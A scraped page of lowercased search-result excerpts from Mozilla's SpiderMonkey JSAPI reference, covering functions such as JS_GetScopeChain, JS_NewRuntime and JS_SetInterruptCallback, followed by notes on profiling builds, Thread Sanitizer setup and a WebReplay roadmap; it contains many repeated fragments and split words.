ipts. reserved slots may contain any js::value, and the garbage collector will hold the value alive as long as the object itself is alive. reserved slots may also contain private values to store pointer values (whose lowest bit is 0) or uint32_t, when non-javascr
ipt values must be stored; the garbage collector ignores such values when it sees them. (note that private values must not be exposed directly to javascr
ipt. it's only legal to store and retrieve data from private values. they cannot be returned from functions, set as properties on objects, embedded in javascr
ipt arrays, and so on.) new objects' reserved slots are initialized to undefined. see als...
JS_GetScopeChain
obsolete since javascr
ipt 1.8.7this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. retrieves the scope chain for the javascr
ipt code currently running in a given context. js_getscopechain has been removed in spidermonkey 1.8.7 with no identical replacement. when you only used this function to retrieve the scope chain's global, then you can use the function js_getglobalforscopechain. syntax jsobject * js_getscopechain(jscontext *cx); name type descr
iption cx jscontext * the context to query. descr
iption js_getscopechain returns the first jsobject on the scope chain for the javascr
ipt code currently running in the given context, cx. ...
... retrieve the scope chain's global, then you can use the function js_getglobalforscopechain. syntax jsobject * js_getscopechain(jscontext *cx); name type descr
iption cx jscontext * the context to query. descr
iption js_getscopechain returns the first jsobject on the scope chain for the javascr
ipt code currently running in the given context, cx. the ecmascr
ipt standard, ecma 262-3 ?10, describes execution contexts and scope chains. a scope chain is a sequence of objects whose properties are searched whenever a scr
ipt or function refers to a variable. these objects represent the lexical scope of the currently executing statement or expression, not the call stack, so they include: the variable objects of any enclosing functions or let statements or e...
...d scope outward; lastly the global object against which the function was created. note that cx's current global object, as set by js_setglobalobject, is not guaranteed to be on the scope chain. if the currently executing function was created in the scope of a different global object, then that object will be the last object in the current scope chain. if the context is currently executing a scr
ipt, and not in any function, it's running in a scope that was passed to js_executescr
ipt or a similar function by the application. this scope chain may or may not contain cx's current global object. if any code is currently executing in cx, js_getscopechain returns a pointer to the first jsobject on the current scope chain. otherwise, if cx has a global object, js_getscopechain returns that. other...
JS_GetStringBytes
obsolete since jsapi 1.8.5this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. convert a javascr
ipt string to a c string. syntax char * js_getstringbytes(jsstring *str); const char * js_getstringbytesz(jscontext *cx, jsstring *str); // added in jsapi 1.8.2 name type descr
iption cx jscontext * (js_getstringbytesz and js_encodestring only) a context. str jsstring * string to retrieve bytes from. descr
iption js_getstringbytes and js_getstringbytesz convert the specified javascr
ipt string, str, to a c string (an array of 8-bit chars). if js_cstringsareutf8 is true, then the returned string is utf-8, and the conversion is lossless. otherw...
...tring is utf-8, and the conversion is lossless. otherwise the high byte is simply dropped from each jschar. on success, the return value is a pointer to the char array, which is null-terminated. on failure, js_getstringbytes returns a pointer to a null-terminated empty string; js_getstringbytesz returns null. note: js_getstringbytes() and js_getstringbytesz() have both been removed as of javascr
ipt 1.8.5 (firefox 4). instead, you should use js_encodestring, js_getstringencodinglength, js_encodestringtobuffer. the array returned by js_getstringbytes or js_getstringbytesz is automatically freed when str is finalized by the javascr
ipt garbage collection mechanism. the application must not modify the contents of the array. note that for non-ascii strings, if js_cstringsareutf8 is false, these ...
...y js_getstringbytes or js_getstringbytesz is automatically freed when str is finalized by the javascr
ipt garbage collection mechanism. the application must not modify the contents of the array. note that for non-ascii strings, if js_cstringsareutf8 is false, these functions can return a corrupted copy of the contents of the string. use js_getstringchars to access the 16-bit characters of a javascr
ipt string without conversions or copying. see also js_encodestring js_encodestringtoutf8 js_getstringencodinglength js_encodestringtobuffer js_comparestrings js_getstringlength js_valuetostring bug 607292 ...
JS_GetStringEncodingLength
you can use this value to create a buffer to encode the string into using the js_encodestringtobuffer function. ...
...you can use this value to create a buffer to encode the string into using the js_encodestringtobuffer function. ...
...you can use this value to create a buffer to encode the string into using the js_encodestringtobuffer function. to encode to utf8, use js::getdeflatedutf8stringlength and js::deflatestringtoutf8buffer instead. ...
JS_HasOwnProperty
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject object to search on for the property. name or id const char * or js::handleid name of the property to look up. ...
...requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject object to search on for the property. name or id const char * or js::handleid name of the property to look up. ...
...request on this jscontext. obj js::handleobject object to search on for the property. name or id const char * or js::handleid name of the property to look up. foundp bool * non-null pointer to a variable of type bool. on success, js_hasownproperty stores true in this variable if obj has an own property with the given name, and false if not. descr
iption js_hasownproperty searches an object, obj, for an own property with the specified name. it behaves like the javascr
ipt expression object.hasownproperty(obj, name). js_hasownpropertybyid is the same but takes a js::handleid for the property name. if the property exists, this function sets *foundp to true and returns true. if the object obj has no such property, the function sets *foundp to ...
JS_HasProperty
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject object to search on for the property. ...
...requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject object to search on for the property. name or id const char * or const char16_t or js::handleid name of the property to look up. namelen size_t (only in js_hasucproperty) the length of name in ...
...ar16_t or js::handleid name of the property to look up. namelen size_t (only in js_hasucproperty) the length of name in characters, or -1 to indicate that name is null-terminated. foundp bool * non-null pointer to a variable of type bool. on success, js_hasproperty stores true in this variable if obj has a property with the given name, and false if not. descr
iption js_hasproperty searches an object, obj, and its prototype chain, for a property with the specified name. it behaves like the javascr
ipt expression name in obj. js_hasucproperty is the corresponding unicode api. js_haspropertybyid is the same but takes a js::handleid for the property name. if the property exists, this function sets *foundp to true and returns true. if the object obj has no suc...
JS_InstanceOf
determine if an object is an instance of a specified jsclass. syntax bool js_instanceof(jscontext *cx, js::handle<jsobject*> obj, const jsclass *clasp, js::callargs *args); // added in spidermonkey 38 bool js_instanceof(jscontext *cx, js::handle<jsobject*> obj, const jsclass *clasp, jsval *argv); // obsolete since jsapi 32 name type descr
iption cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handle<jsobject*> object to test. clasp jsclass * class against which to test the object. args js::callargs * optional pointer to arguments. if non-null, ...
...s * optional pointer to arguments. if non-null, report an error if obj is not of type clasp. added in spidermonkey 38 argv jsval * optional argument vector. if non-null, report an error if obj is not of type clasp. argv must be the argv argument passed from the engine to a jsnative callback, js_argv(cx, rv) in a jsfastnative callback, or null. obsolete since jsapi 32 descr
iption js_instanceof can be used to check whether an object obj is of a particular jsclass. to use it this way, pass null for argv. js_instanceof returns true if obj is of the given class and false otherwise. that is, it returns js_getclass(obj) == clasp. js_instanceof can also be used in native functions to check the class of an argument when a particular class is required. to use it this way, pa...
...nt when a particular class is required. to use it this way, pass the arguments provided by the engine for args with js::callargsfromvp(argc, vp). when args is non-null, js_instanceof behaves as follows. if obj is of the given class, it returns true. otherwise, it returns false; it also reports a typeerror containing the function's name. note that js_instanceof is not the equivalent of the javascr
ipt instanceof keyword, which examines constructor properties along the prototype chain. js_hasinstance is similar to instanceof. see also mxr id search for js_instanceof js_hasinstance js_getclass bug 959787 ...
JS_IsIdentifier
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. str js::handlestring the string to test. chars const char16_t * the pointer of the string to test. ...
...requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. str js::handlestring the string to test. chars const char16_t * the pointer of the string to test. ...
... request. in a js_threadsafe build, the caller must be in a request on this jscontext. str js::handlestring the string to test. chars const char16_t * the pointer of the string to test. length size_t the length of chars. isidentifier bool * out parameter. on success, *isidentifier receives whether str is an identifier or not. descr
iption js_isidentifier tests if the given string is a valid ecmascr
ipt identifier. on successful, js_isidentifier stores the test result to *isidentifier and returns true, otherwise returns false and the value of *isidentifier is undefined. js_isidentifier which takes chars and length is infallible, so just returns whether the chars are an identifier. see also mxr id search for js_isidentifier...
JS_LeaveLocalRootScope
leaving a nested local root scope causes all objects created since the matching js_enterlocalrootscope call to become subject to garbage collection. ...
...leaving a nested local root scope causes all objects created since the matching js_enterlocalrootscope call to become subject to garbage collection. ...
...leaving a nested local root scope causes all objects created since the matching js_enterlocalrootscope call to become subject to garbage collection. ...
JS_LooselyEqual
this article covers features introduced in spidermonkey 1.8.1 determine whether two javascr
ipt values are equal in the sense of the == operator. syntax bool js_looselyequal(jscontext *cx, js::handle<js::value> v1, js::handle<js::value> v2, bool *equal); name type descr
iption cx jscontext * the context in which to perform the conversion. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. v1, v2 js::handle<js::value> the value to compare. equal bool * out parameter. receives the comparison result. ...
...if the comparison attempt was successful, the method returns js_true and stores the result in *equal; otherwise it returns js_false. ...
... jscontext * the context in which to perform the conversion. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. v1, v2 js::handle<js::value> the value to compare. equal bool * out parameter. receives the comparison result. descr
iption js_looselyequal determines if v1 is loosely equal to v2 under the javascr
ipt == operator, as specified in ecma 262-3 ?11.9.3. if the comparison attempt was successful, the method returns js_true and stores the result in *equal; otherwise it returns js_false. comparing jsvals directly in c++, as in v1 == v2, does not produce a meaningful result, since it is possible for two distinct jsstrings or jsdoubles to represent the same string or number. see also mxr id search...
JS_New
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ctor js::handleobject the constructor function object. ...
...requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ctor js::handleobject the constructor function object. ...
... js::handlevaluearray & an array of argument values to pass to the constructor. added in spidermonkey 38 argc unsigned the number of arguments to pass to the constructor. obsolete since jsapi 32 argv jsval * pointer to the element 0 of an array of argument values to pass to the constructor. if argc is 0, this may be null. obsolete since jsapi 32 descr
iption js_new creates a new object as though by using the new operator, as described in ecma 262-3 ?11.2.2. js_new(cx, ctor, args) is equivalent to the javascr
ipt expression new ctor(...args), and js_new(cx, ctor, argc, argv) is equivalent to the javascr
ipt expression new ctor(argv[0], argv[1], ... argv[argc-1]). if ctor is not an object that can be used as a constructor, a typeerror is raised. o...
JS_NewArrayObject
create a new array object. syntax jsobject * js_newarrayobject(jscontext *cx, const js::handlevaluearray& contents); // added in spidermonkey 31 jsobject * js_newarrayobject(jscontext *cx, size_t length); // added in spidermonkey 31 jsobject * js_newarrayobject(jscontext *cx, int length, jsval *vector); // obsolete since jsapi 30 name type descr
iption cx jscontext * the context in which to create the new array. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. contents js::handlevaluearray& reference to the initial values for the array's elements. added in spidermonkey 31 length size_t or int the length of the new array. this must not be negative. vector jsval * ...
...ler must be in a request on this jscontext. contents js::handlevaluearray& reference to the initial values for the array's elements. added in spidermonkey 31 length size_t or int the length of the new array. this must not be negative. vector jsval * pointer to the initial values for the array's elements, or null. obsolete since jsapi 30 descr
iption js_newarrayobject with contents parameter creates a new array object with the specified contents elements. js_newarrayobject defines an enumerable array element with the value contents[i] on the new array. js_newarrayobject with length parameter creates a new array object with the specified length; the result is like the javascr
ipt expression new array(length). the new array has the specifi...
...fmemory and returns null. obsolete since jsapi 30. js_newarrayobject with length parameter creates a new array object with the specified length. if vector is non-null, then for each index i from 0 to length - 1, js_newarrayobject defines an enumerable array element with the value vector[i] on the new array. (this means that if length is nonzero and vector is null, the result is like the javascr
ipt expression new array(length). the new array has the specified length, but it doesn't have any elements.) it is often better to call js_newarrayobject(cx, 0, null), store the returned object in a gc root, and then populate its elements with js_setelement or js_defineelement. this avoids unrooted jsvals in vector from being subject to garbage collection until the new object has been populated. ...
JS_NewDoubleValue
obsolete since jsapi 17this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. use js_numbervalue instead. create a floating-point jsval syntax jsbool js_newdoublevalue(jscontext *cx, jsdouble d, jsval *rval); name type descr
iption cx jscontext * the context in which to create the new number. ...
... warning: the argument d must not be a value that could fit in an integer jsval. if it is, js_newdoublevalue creates a bad jsval that might behave as desired in some cases but not others. ...
...e context in which to create the new number. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. d jsdouble the numeric value to convert. this must not be a value that could fit in an integer jsval (see int_fits_in_jsval). rval jsval * out parameter. on success, *rval receives a javascr
ipt number with the value d. descr
iption js_newdoublevalue creates a floating-point jsval. warning: the argument d must not be a value that could fit in an integer jsval. if it is, js_newdoublevalue creates a bad jsval that might behave as desired in some cases but not others. the result is subject to garbage collection until you protect against it using a local root, an object property, or the js_addroot function. this can be...
JS_NewFunction
create a new javascr
ipt function that is implemented in c/c++ as a jsnative. syntax // added in spidermonkey 45 jsfunction * js_newfunction(jscontext *cx, jsnative call, unsigned nargs, unsigned flags, const char *name); // obsolete since jsapi 44 jsfunction * js_newfunctionbyid(jscontext *cx, jsnative call, unsigned nargs, unsigned flags, js::handle<jsid> id); // obsolete since jsapi 39 jsfunction * js_newfunction(jscontext *cx, jsnative call, unsigned nargs, unsigned flags, js::handle<jsobject*> parent, const char *name); jsfunction * js_newfunctionbyid(jscontext *cx, jsnative call, unsigned nargs, unsigned flags, js::handle<jsobject*> parent, js::handle<jsid> id); // added in spidermonkey 17 name ...
...requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. call jsnative native c/c++ implementation of this function. nargs unsigned number of arguments the function expects. flags unsigned pass jsfun_constructor to make a native that...
...le<jsobject*> pointer to the parent object for this function. if this is null, a default parent object is used. obsolete since jsapi 39 name const char * name to assign to the new function. if this is null, the new function has no name. id js::handle<jsid> a pointer to jsid of the name to assign to the new function. added in spidermonkey 17 descr
iption js_newfunction creates a new javascr
ipt function implemented in c/c++. (to create a new function implemented in javascr
ipt, use js_compilefunction instead.) call is a c/c++ function pointer that the new function wraps. nargs is the number of arguments the function expects. if flags is jsfun_constructor, a created function can be called as a constructor. parent may be used to specify the new...
JS_NewPlainObject
on success, js_newplainobject returns a pointer to the new object. ...
... on success, js_newplainobject returns a pointer to the new object. ...
... on success, js_newplainobject returns a pointer to the new object. ...
JS_NewRuntime
initializes the javascr
ipt runtime. syntax jsruntime * js_newruntime(uint32_t maxbytes, uint32_t maxnurserybytes = js::defaultnurserybytes, jsruntime *parentruntime = nullptr); jsruntime * js_newruntime(uint32_t maxbytes, jsusehelperthreads usehelperthreads, jsruntime *parentruntime = nullptr); // deprecated since jsapi 32 name type descr
iption maxbytes uint32 maximum number of allocated bytes after which garbage collection is run. maxnurserybytes uint32 nursery size in bytes. maxnurserybytes is rounded down to a mult
iple of chunk size. added in spidermonkey 38 parentruntime jsruntime * the topmost parent or nullptr . ...
...call js_newruntime before making any other api calls except js_init. js_newruntime allocates memory for the jsruntime and initializes certain internal runtime structures. maxbytes specifies the number of allocated bytes after which garbage collection is run. ...
...call js_newruntime before making any other api calls except js_init. js_newruntime allocates memory for the jsruntime and initializes certain internal runtime structures. ...
JS_NewStringCopyZ
create a new javascr
ipt string based on a null-terminated c string. syntax jsstring * js_newstringcopyz(jscontext *cx, const char *s); jsstring * js_newucstringcopyz(jscontext *cx, const char16_t *s); name type descr
iption cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. s const char * or const char16_t * pointer to the character array containing the text for the js string to create; or null. descr
iption js_newstringcopyz allocates space for a new javascr
ipt string and its underlying storage, and then copies the contents of a null-terminated character array, s, into the new string. on success, js_newstringcopyz ...
...js_newstringcopy(cx, s) is equivalent to js_newstringcopyn(cx, s, strlen(s)) when s is a null-terminated string. ...
...js_newstringcopy(cx, s) is equivalent to js_newstringcopyn(cx, s, strlen(s)) when s is a null-terminated string. ...
JS_ParseJSON
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ch jsobject * the object to be searched. chars const jschar * the characters of the string. len uint32 the length of the string. ...
...requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ch jsobject * the object to be searched. chars const jschar * the characters of the string. len uint32 the length of the string. ...
...ched. chars const jschar * the characters of the string. len uint32 the length of the string. index jsint (in js_parsejsonwithreviver only) a reviver function to apply to the created value after parsing; see json.parse. vp jsval * out parameter. *vp receives the value after parsing (and optionally, processing by the reviver). if an error occurs, the value left in *vp is undefined. descr
iption use these functions to parse a sequence of characters as json. the parsing rules applied by these methods are exactly those specified by ecmascr
ipt 5. various json extensions like trailing commas, unquoted property names, more generous number parsing, and so on are not supported. mxr id search for js_parsejson mxr id search for js_parsejsonwithreviver ...
JS_PushArguments
cx also affects the interpretation of format, if js_addargumentformatter has been called. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
... in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. convert any number of arguments to jsvals and store the resulting jsvals in an array. syntax jsval * js_pusharguments(jscontext *cx, void **markp, const char *format, ...); jsval * js_pushargumentsva(jscontext *cx, void **markp, const char *format, va_list ap); name type descr
iption cx jscontext * the context in which to perform any necessary conversions. cx also affects the interpretation of format, if js_addargumentformatter has been called. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. markp void ** out parameter. on success, *markp receives the internally allocated stack mark which...
... a variable number of arguments to be converted to jsvals. there must be one argument for each argument described in format. ap va_list (in js_pushargumentsva) the list of arguments to be converted to jsvals. there must be one argument for each argument described in format. the type va_list is a standard feature of the c programming language. it is defined in <stdarg.h>. descr
iption js_pusharguments provides a convenient way to translate a series of native c/c++ values to jsvals with a single function call. cx is the context for the call. markp points to a void * to hold the internally allocated stack frame pointer to pass back to js_poparguments. format is a sequential character array, where each element of the array indicates the js type into which to convert the next ...
JS_SameValue
this article covers features introduced in spidermonkey 1.8.1 determines if two jsvals are the same, as determined by the samevalue algorithm in ecmascr
ipt 262, 5th edition. samevalue slightly differs from strict equality (===) in that +0 and -0 are not the same and in that nan is the same as nan. ...
... this article covers features introduced in spidermonkey 1.8.1 determines if two jsvals are the same, as determined by the samevalue algorithm in ecmascr
ipt 262, 5th edition. samevalue slightly differs from strict equality (===) in that +0 and -0 are not the same and in that nan is the same as nan. ...
... (v1 === 0 && v2 === 0) return 1 / v1 === 1 / v2; if (v1 !== v1 && v2 !== v2) return true; return v1 === v2; } syntax // added in spidermonkey 45 bool js_samevalue(jscontext *cx, js::handle<js::value> v1, js::handle<js::value> v2, bool *same); // obsolete since jsapi 39 bool js_samevalue(jscontext *cx, jsval v1, jsval v2, bool *same); name type descr
iption cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. v1 js::handle<js::value> / jsval the first value. v2 js::handle<js::value> / jsval the second value. descr
iption js_samevalue determines whether two value...
JS_SetCallReturnValue2
v jsval the id of the property of the reference value to be returned from the native. ...
...ough it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. causes a native to return a reference value (as allowed by ecma 262-3 ?11.2.3). ...
... name type descr
iption cx jscontext * the context in which the native function is running. v jsval the id of the property of the reference value to be returned from the native. descr
iption calling js_setcallreturnvalue2 indicates to the runtime that the native will return a value of type reference. the native must store the object part of the reference value in *rval, and the argument v gives the id of the property part of the reference value. this reference value can then be used as an lvalue in scr
ipt. an example is in js/src/js.c; searching fo...
JS_SetInterruptCallback
this article covers features introduced in spidermonkey 31 set a callback function that is automatically called periodically while javascr
ipt code runs. syntax jsinterruptcallback js_setinterruptcallback(jsruntime *rt, jsinterruptcallback callback); jsinterruptcallback js_getinterruptcallback(jsruntime *rt); void js_requestinterruptcallback(jsruntime *rt); name type descr
iption rt jsruntime * the runtime. callback jsinterruptcallback the callback function to install. callback syntax bool (* jsinterruptcallback)(jscontext *cx); name type descr
iption cx jscontext * pointer to a jscontext in which this callback was installed. the callback may use this context to call jsapi functions, but it...
... descr
iption cx jscontext * pointer to a jscontext in which this callback was installed. the callback may use this context to call jsapi functions, but it should first use js_setinterruptcallback to set the context's interrupt callback to null. otherwise the engine may call the interrupt callback again, reentering it. provides request. in js_threadsafe builds, the javascr
ipt engine calls this callback only from within an active request on cx. the callback does not need to call js_beginrequest()). descr
iption these functions allow setting an interrupt callback that will be called from the js thread some time after any thread triggered the callback using js_requestinterruptcallback. to schedule the gc and for other activities the engine internally trigge...
...allbacks can occur inside the callback handler if it re-enters the js engine. the embedding must ensure that the callback is disconnected before attempting such re-entry. js_setinterruptcallback sets a callback that can be called asynchronously. some common uses for an interrupt callback are: to run garbage collection periodically, by calling js_maybegc; to periodically take a break from scr
ipt execution to update the ui (though note that mozilla does not do this, by design); to enforce application limits on the amount of time a scr
ipt may run. (in this case, the callback may terminate the scr
ipt by returning false.) js_getinterruptcallback returns the currently installed interrupt callback, or null if none is currently installed. js_requestinterruptcallback requests a callback set...
JS_SetProperty
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handlevalue object to which the property to set belongs. name or id const char * or const char16_t *or js::handleid name of the property to set. namelen s...
...e property to set. namelen size_t (only in js_setucproperty) the length of name in characters; or -1 to indicate that name is null-terminated. v js::handlevalue in/out parameter. *vp is the value to assign to the property. ordinarily this function leaves v unchanged, but it is possible for a jsclass.addproperty hook or a non-default setter to assign to v. descr
iption js_setproperty assigns the value v to the property name of the object obj. it behaves like the javascr
ipt expression obj[name] = v. js_setucproperty is the unicode version of the function. js_setpropertybyid is the same but takes a js::handleid for the property name. if obj is a proxy, the js_setproperty [[set]] internal method defined in es2015 (rev 29 9.5.9) is performed. if obj is a nat...
...erty hook is called with the arguments (cx, obj, id, &v). this hook may assign to v. if the hook succeeds and the property has a stored value, then the value left in v by the addproperty hook becomes the stored value of the property. setting the value. two of the cases above can involve setting the value of a new or existing property of obj. this is done as follows. if the property has a javascr
ipt setter, it is called; otherwise, if it has a javascr
ipt getter, then an error is reported; otherwise the property's setter is called, passing the arguments (cx, obj, id, &v). if the setter succeeds and the property has a stored value, then the value left in v becomes the stored value of the property. on success, js_setproperty returns true, and the value in v is left unchanged unless a hook or ...
JS_StrictlyEqual
this article covers features introduced in spidermonkey 1.8.1 determine whether two javascr
ipt values are equal in the sense of the === operator. syntax // added in spidermonkey 45 bool js_strictlyequal(jscontext *cx, js::handle<js::value> v1, js::handle<js::value> v2, bool *equal); // obsolete since jsapi 39 bool js_strictlyequal(jscontext *cx, jsval v1, jsval v2, bool *equal); name type descr
iption cx jscontext * the context in which to perform the conversion. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
...if the comparison attempt was successful, the method returns true and stores the result in *equal; otherwise it returns false. ...
...t * the context in which to perform the conversion. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. v1, v2 js::handle<js::value> / jsval the value to compare. equal bool * out parameter. receives the comparison result. descr
iption js_strictlyequal determines if v1 is strictly equal to v2 under the javascr
ipt === operator, as specified in ecma 262-3 ?11.9.6. if the comparison attempt was successful, the method returns true and stores the result in *equal; otherwise it returns false. comparing jsvals directly in c++, as in v1 == v2, does not produce a meaningful result, since it is possible for two distinct jsstrings or jsdoubles to represent the same string or number. see also mxr id search for ...
JS_TracerInit
discouraged since it could be removed at any time. try to avoid using it. this article covers features introduced in spidermonkey 1.8 note: in jsapi 12, the macro js_tracer_init has been replaced by the function js_tracerinit initialize a jstracer for object graph tracing. syntax void js_tracerinit(jstracer *trc, jsruntime *rt, jstracecallback callback); name type descr
iption trc jstracer * the tracer to be initialized. cx jscontext * the context in which to perform tracing. callback jstracecallback a callback, described below, which the tracing apis will call each time a pointer is found from one gc thing to another. callback syntax typedef void (*jstracecallback)(jstracer *trc, void *thing, uint32 kind); ...
...racer * the tracer to be initialized. cx jscontext * the context in which to perform tracing. callback jstracecallback a callback, described below, which the tracing apis will call each time a pointer is found from one gc thing to another. callback syntax typedef void (*jstracecallback)(jstracer *trc, void *thing, uint32 kind); name type descr
iption trc jstracer * the tracer visiting obj. thing void * a gc thing. kind uint32 one of the constants jstrace_object, jstrace_double, jstrace_string; or a tag denoting an internal implementation-specific traversal kind. in the latter case, the only operations the callback may perform on thing are to call js_tracechildren or the debug-only js_printtrace...
... the tracer visiting obj. thing void * a gc thing. kind uint32 one of the constants jstrace_object, jstrace_double, jstrace_string; or a tag denoting an internal implementation-specific traversal kind. in the latter case, the only operations the callback may perform on thing are to call js_tracechildren or the debug-only js_printtracethinginfo function. descr
iption js_tracechildren and other tracing apis call the tracer callback for each traceable thing directly referenced by a particular object or runtime structure. it is the callback's responsibility to ensure the traversal of the full object graph, if desired, by eventually calling js_tracechildren on the passed thing. in this case the callback must be prepared to deal with cycles in the traversal gr...
JS_ValueToECMAInt32
obsolete since jsapi 28this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. convert a javascr
ipt value to an integer type as specified by the ecmascr
ipt standard. syntax jsbool js_valuetoecmaint32(jscontext *cx, jsval v, int32 *
ip); jsbool js_valuetoecmauint32(jscontext *cx, jsval v, uint32 *
ip); jsbool js_valuetouint16(jscontext *cx, jsval v, uint16 *
ip); name type descr
iption cx jscontext * the context in which to perform the conversion. ...
...*cx, jsval v, int32 *
ip); jsbool js_valuetoecmauint32(jscontext *cx, jsval v, uint32 *
ip); jsbool js_valuetouint16(jscontext *cx, jsval v, uint16 *
ip); name type descr
iption cx jscontext * the context in which to perform the conversion. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. v jsval the javascr
ipt value to convert.
ip int32 * or uint32 * or int16 * out parameter. on success, *
ip receives the converted value. descr
iption js_valuetoecmaint32, js_valuetoecmauint32, and js_valuetouint16 convert a javascr
ipt value to various integer types as specified in the ecmascr
ipt specification. js_valuetoecmaint32 implements the toint32 operator specified in ecma 262-3 9.5. js...
...9.6. js_valuetouint16 implements the touint16 operator specified in ecma 262-3 9.7. all three functions first convert v to a floating-point number as if by calling js_valuetonumber; nan values are then converted to zero. if that succeeds, the result is then converted to the target integer type. this second conversion cannot fail. on success, js_valuetoecmaint32 stores the converted value in *
ip and returns js_true. on error or exception, it returns js_false, and the value left in *
ip is undefined. see also js::touint16 js::toint32 js::touint32 js::toint64 js::touint64 js::tonumber bug 933810 bug 933946 ...
Profiling SpiderMonkey
instructions 1.) get yourself an optimized libxul build of firefox, with debugger info. for the mac, you'll want to read up on profiling javascr
ipt with shark. here's a sample mozconfig: mk_add_options moz_objdir=@topsrcdir@/ff-opt-libxul mk_add_options moz_make_flags=-j3 ac_add_options --enable-optimize ac_add_options --enable-libxul ac_add_options --enable-shark ac_add_options --enable-debugger-info-modules ac_add_options --enable-application=browser 2.) you'll want to run shark on both the browser and [xpcshell], since the host environments differ. ...
...opt-libxul mk_add_options moz_make_flags=-j3 ac_add_options --enable-optimize ac_add_options --enable-libxul ac_add_options --enable-shark ac_add_options --enable-debugger-info-modules ac_add_options --enable-application=browser 2.) you'll want to run shark on both the browser and [xpcshell], since the host environments differ. here are some instrumented tests to work from: media:profiling-ammo.z
ip 3.) once you have some changes you'd like to try, you can just rebuild the js/src directory, since it produces its own shared library, even in libxul and static builds. make -c my-obj-dir/js/src other ways to profile for linux, there are global jprof functions available. see the documentation on the --enable-jprof mozconfig option. we're working to add support for other profilers, such as oprofi...
...you can just rebuild the js/src directory, since it produces its own shared library, even in libxul and static builds. make -c my-obj-dir/js/src other ways to profile for linux, there are global jprof functions available. see the documentation on the --enable-jprof mozconfig option. we're working to add support for other profilers, such as oprofile, intel vtune, and callgrind. when we have js scr
iptable profiling options available for all tier 1 platforms, we'll look at adding global start/stop profiling functions. if you'd like to profile something at a higher level of detail than the js shark functions allow, there are corresponding c functions available at the bottom of jsdbgapi.h. costs of thread safety currently, threadsafe spidermonkey costs us 10-15% on some benchmarks vs. a non-thre...
Thread Sanitizer
of this flag causes clang to automatically link the tsan runtime :) export ldflags="-fsanitize=thread -fpic -pie" # these three are required by tsan ac_add_options --disable-jemalloc ac_add_options --disable-crashreporter ac_add_options --disable-elf-hack # keep symbols to symbolize tsan traces export moz_debug_symbols=1 ac_add_options --enable-debug-symbols ac_add_options --disable-install-str
ip # settings for an opt build ac_add_options --enable-optimize="-o2 -gline-tables-only" ac_add_options --disable-debug starting the build process now you start the build process using the regular make -f client.mk command. starting firefox after the build has completed, you can start firefox from the objdir as usual. building only the javascr
ipt shell if you want to build only the javascr
ip...
...ze="-o2 -gline-tables-only" ac_add_options --disable-debug starting the build process now you start the build process using the regular make -f client.mk command. starting firefox after the build has completed, you can start firefox from the objdir as usual. building only the javascr
ipt shell if you want to build only the javascr
ipt shell instead of doing a full firefox build, the build scr
ipt below will probably help you to do so. before using it, you must of course adjust the path name for llvm_root to match your setup. once you have adjusted everything, execute this scr
ipt in the js/src/ subdirectory and pass a directory name as the first parameter. the build will then be created in a new subdirectory with that name. #! /bin/sh if [ -z $1 ] ; then echo "usage: $0 <dirname>" e...
... ../configure --disable-debug --enable-optimize="-o2 -gline-tables-only" --enable-llvm-hacks --disable-jemalloc make -j 8 fi using llvm symbolizer for faster/better traces by default, tsan traces are symbolized because otherwise, the runtime suppression list wouldn't work. the default way of symbolizing the traces is much slower than using llvm-symbolizer for that purpose: llvm sh
ips with a symbolizer binary that tsan will readily use to immediately output symbolized traces much faster. furthermore, additional debug information is included in traces when llvm-symbolizer is used. to use it, either make sure the llvm-symbolizer binary is in your path or set the environment variable tsan_options="external_symbolizer_path=/path/to/llvm-symbolizer" before running the process. if ...
WebReplayRoadmap
a value has. these questions can be answered by analyzing one or more recordings to study their behavior in detail. if the debugger could perform this analysis then it could show this information to developers and help them understand the app even when they are not actively debugging a particular recording. static type integration (not yet implemented) static type systems like flow and typescr
ipt are great and really useful for managing an app's codebase, but they are unsound by design, and it is pretty easy to satisfy the type system and yet have different types in practice. a recording can be analyzed for the types that appear in practice. these can be compared with the types provided to the type system, and any mismatches can be flagged. the points in the recording where the mismat...
...nd any mismatches can be flagged. the points in the recording where the mismatches occur can be identified, and the debugger can seek to those points to allow further investigation of the causes of the mismatch. an alternate use of the types that appear in practice would be to provide seed information for automatically populating the types in an app that is being converted to use flow or typescr
ipt. type profiling (not yet implemented) the types that appear in practice have a large effect on how well the associated code can be optimized by jits. while different jits optimize code in different ways, for peak performance they all require code to operate on values of consistent types: primitive types, including int32 vs. doubles, or objects that have the same set of properties. if js perf...
